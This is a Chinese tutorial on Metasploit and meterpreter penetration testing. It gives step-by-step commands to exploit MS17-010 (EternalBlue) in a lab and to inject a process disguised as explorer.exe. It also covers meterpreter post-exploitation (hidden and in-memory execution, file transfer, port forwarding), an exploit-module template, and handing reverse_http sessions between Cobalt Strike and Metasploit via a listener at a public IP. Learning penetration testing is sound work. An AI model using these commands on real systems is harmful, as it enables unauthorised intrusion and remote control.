详尽的msf——meterpreter——渗透测试教程

Posted 大瑞大

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了详尽的msf——meterpreter——渗透测试教程相关的知识,希望对你有一定的参考价值。

文章目录

详尽的msf——meterpreter——渗透测试教程

前言

本文仅供学习参考使用,切勿用于非法事情!!

众所周知,msf是大家公认的神器,年少不知msf香,总想自己写程序。

现在发现msf很厉害,可以在它的基础上开发。

msf是框架,什么意思呢,用它可以做渗透攻击的一整套流程,包括前期探索(发育),中期攻击(开团),后期控守(推塔)
我们可以在msfconsole上,开发自己的程序(用自己的英雄),程序可以利用msf中的模块(用它的装备)

msfconsole简介

Metasploit是一款开源安全漏洞检测工具,附带数百个已知的软件漏洞,并保持频繁更新。被安全社区冠以“可以黑掉整个宇宙”之名的强大渗透测试框架。

五大模块:

渗透攻击(Exploit),指由攻击者或渗透测试者利用一个系统、应用或服务中的安全漏洞,所进行的攻击行为。

攻击载荷(Payload),是我们期望目标系统在被渗透攻击之后去执行的代码。

Shellcode,是在渗透攻击是作为攻击载荷运行的一组机器指令,通常用汇编语言编写。

模块(Module),指Metasploit框架中所使用的一段软件代码组件,可用于发起渗透攻击或执行某些辅助攻击动作。

监听器(Listener),是Metasploit中用来等待网络连接的组件。

msfconsole使用方法——常用命令

直接使用并进行一次攻击

#初次使用:
service postgresql start     # 启动数据库服务
msfdb init             # 初始化数据库

#之后使用:
msfconsole             # 启动metasploit

#查看帮助选项
help 

#search - 查看漏洞:
search ms08_067

#use - 使用漏洞:
use exploit/windows/smb/ms08_067_netapi

#show - 查看可以攻击的靶机操作系统型号(targets):
show targets

#set - 设置target 参数(xx是对应被攻击靶机的型号):
set target xx

#set - 设置rhost参数(攻击靶机的ip地址):
set rhost 192.168.xxx.xxx

#show - 查看参数:
show options

#进行攻击:
exploit

具体参数可以查看帮助选项
help

msfconsole攻击实战

由于msfconsole是内网渗透神器,所以在外网上效果差强人意,需要考虑端口转发等等事情。

例如:
在内网,反弹shell可以直接链接到本机IP,
在外网,如果端口转发,回连的IP为外网IP,回连的端口为外网端口

成功上传payload并执行后,可以得到目标的meterpreter(伪shell)

以一次永恒之蓝漏洞过程为例

渗透过程:

先用msfconsole的smb模块扫描,看看是否有漏洞

use auxiliary/scanner/smb/smb_ms17_010

存在漏洞

使用模块

use exploit/windows/smb/ms17_010_eternalblue 
show options


设置目标:

set rhost 192.168.148.137
#设置payload等
set lhost 192.168.148.134
set lport 4444
run

结果:

查看信息:

ok
按照网上的教程, 该payload都是64位的,如果目标机是32位的,会出现架构不对的情况,需要下载新的模块并加载

如何加载新的模块、开发新的模块请看目录:载入外部模块:关于ms17_010实战后续

备注:

默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为

 set SessionExpirationTimeout 0
渗透结束:

当批量渗透完目标,有很多session(很多攻击成功的结果),我们可以进行如下操作

#查看目标
sessions -i 

#选择目标
sessions -i id 

#批量执行命令
sessions -c cmd 

#批量执行命令
sessions -C "meterpreter_cmd"

#从选择的目标返回
background 

#退出session,而且关闭所有meterpreter
exit 

载入外部模块:关于ms17_010实战后续

如果payload出现架构错误的情况,如图4,

可以使用github上的模块
https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit/
复制到ROOT目录,解压
如果是kali自带的msf,复制到

/usr/share/metasploit-framework/modules/exploits/windows/smb

如果是Linux后下载的msf,复制到

/opt/metasploit-framework/embedded/framework/modules/exploits/windows/smb

打开msf,

reload_all
reload
use exploit/windows/smb/eternalblue_doublepulsar
show options


该exp可能是基于windows定做,在linux上运行有些问题,所以安装wine32

wine  -h

再次exploit
又报错,尝试进程注入伪装

set processinject explorer.exe


ok,成功反弹shell

meterpreter命令执行

  1. upload - 上传文件
    上传exe到目标靶机c:\\ls\\下

    upload 1.exe c:\\\\ls\\\\
    
  2. download - 下载目标靶机相对应权限的任意路径下的文件
    命令 download file path

    download c:\\\\ls\\\\1.exe
    
  3. sysinfo 命令
    显示远程主机的系统信息,显示计算机、系统信息、结构、语言等信息。
    运行目标主机上的cmd.exe程序,以隐藏的方式直接交互到meterpreter会话上

    execute  -H -i -f cmd.exe
    execute  -H -m -d notepad.exe -f  1.exe -a "-o 2.txt"
    #-d 在目标主机执行时显示的进程名称(用以伪装)
    #-m 直接从内存中执行
    #"-o 2.txt"1.exe的运行参数
    
  4. portfwd 命令:

    # 端口转发,本机监听yyyy,把目标机zzzz转到本机yyyy
    portfwd add -l yyyy -p zzzz -r 192.168.xxx.xxx
    #查看指定端口开放情况
    netstat -an | grep"yyyy" 
    
  5. 更多命令,输入help查看

    show options
    set RHOSTS 127.0.0.1 127.0.0.2
    反弹两个shell,这时候
    sessions -i 9 可以通过meterpreter连接到127.0.0.2

    我们进入到目标内部,

    upload有时会出错:

    [-] Error running command upload: Rex::TimeoutError Operation timed out.
    

​ 出错原因:空间不够,网络延迟过高等

msfconsole开发实战

除了基本用法,也可以开发msf,添加模块,修改代码等

浏览msfconsole目录

名称内容
data用户接口代码
documentation说明文档
externalmeterpreter等源代码
libruby库(所以,学好Msf 要看看ruby教程哦)
modules各种模块
plugins数据库连接插件等各个插件
scriptsmeterpreter这个模块利用的脚本
tools杂项工具+脚本

最重要的是module,module中包含各个模块,可以调用与互相调用。

编写模块(exp模块为例):

编写exp模块思想

exploit开发真正的功夫在背后.而实际不是你选择的开发语言,需要思考的是:专注于漏洞利用,而不是别的

exp模块字段

函数字段内容
Name供应商,软件,错误组件,漏洞类型
Author作者
Description注释
Platform支持平台,例如:win, linux, osx, unix, bsd
targets针对的系统,应用,设置或者特殊设置的数组,第二个元素整个数组是你储存目标的特殊元数据的位置.例如特定偏移量,小工具,ret地址等.当用户选择目标时,元数据将被加载并跟踪“target index”,并可以通过该target方法进行检索。
Payloads指定有效载荷应该如何被编码和生成 可以指定:Space,SaveRegisters,Prepend,PrependEncoder,BadChars,Append,AppendEncoder,MaxNops,MinNops,Encoder,Nop,EncoderType,EncoderOptions,ExtendedOptions,EncoderDontFallThrough。
DisclosureDate公开披露日期
Arch架构
check可选,check命令调用的函数
exploitmain函数,真正的exp函数

exp模块实例

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  def initialize(info=)
    super(update_info(info,
      'Name'           => "[Vendor] [Software] [Root Cause] [Vulnerability type]",
      'Description'    => %q
        Say something that the user might need to know
      ,
      'License'        => MSF_LICENSE,
      'Author'         => [ 'Name' ],
      'References'     =>
        [
          [ 'URL', '' ]
        ],
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'System or software version',
            
              'Ret' => 0x41414141 # This will be available in `target.ret`
            
          ]
        ],
      'Payload'        => 
          'BadChars' => "\\x00"
        ,
      'Arch' => ARCH_ARMLE,
      'Privileged'     => false,
      'DisclosureDate' => "",
      'DefaultTarget'  => 0))
  end

  def check
    # For the check command
  end

  def exploit
    # Main function
  end

end

载入模块

将rb模块复制到

/opt/metasploit-framework/embedded/framework/modules/exploits/xxx(你取的文件夹名)/xxx.rb(你的文件)

打开msf,

reload_all
reload

之后

use exploits/xxx(你取的文件夹名)/xxx.rb(你的文件)

msfconsole扩展(与CS联合使用)

  • CobalStrike 与 Metasploit 均是渗透利器,各有所长。前者更适合做稳控平台,后者则更擅长内网各类探测搜集与漏洞利用。两者更需要灵活的联动,各自相互依托,从而提升渗透的效率。

CS的session转到msf上

1、cs上线一台pc

2、设置msf监听

#msfconsole
​    use exploit/multi/handler
​    set payload windows/meterpreter/reverse_http #(这里注意不是TCP,cs4.2我没找到外连TCP的)set lhost 103.234.72.5set lport 10086
​    show options
​    exploit

3、cs设置监听器

右击spawn,选择这个监听器。

回到msf可以看到机器已经上线。

sessions -l 查看所有session

关于CobalStrike与Metasploit 的联动利用方式远不止这些,每种方式在实战中都有对应的应用场景,更需要探索与总结。

二、msf的session转到CS上

1、首先把msf上获取到的meterpreter挂在后台运行

​ 执行命令:background,即可

2、然后使用 exploit/windows/local/payload_inject来注入一个新的payload到session中,具体命令如下:

use exploit/windows/local/payload_inject
​    set payload windows/meterpreter/reverse_http
​    set LHOST 103.234.72.5 //cs主机地址
​    set LPORT 84 //随意设置监听端口,需要和cs保持一致
​    set session 2 //设置需要派送的meterpreter
​    set DisablePayloadHandler true //禁止产生一个新的handler

可以看到cs那边机器已经上线。

  • CS+MSF总结

    关于CobalStrike与Metasploit 的联动利用方式远不止这些,每种方式在实战中都有对应的应用场景,更需要探索与总结。

    在测试过程中详细的信息收集意味着不同的渗透测试路线,也只有信息的关联使用和复用才能更加有效的放大渗透成果。

总结

可以把MSF看成C语言,通过调用其中的库,能完成各种批量、高能、稳定、high操作,非常好用!

以上是关于详尽的msf——meterpreter——渗透测试教程的主要内容,如果未能解决你的问题,请参考以下文章

Windows网络服务渗透测试实战-MSF恶意程序利用

meterpreter后渗透攻击

MSF内网渗透系列2-权限提升

红日靶场(内网渗透)——2

内网渗透之ms17-010

内网渗透-代理篇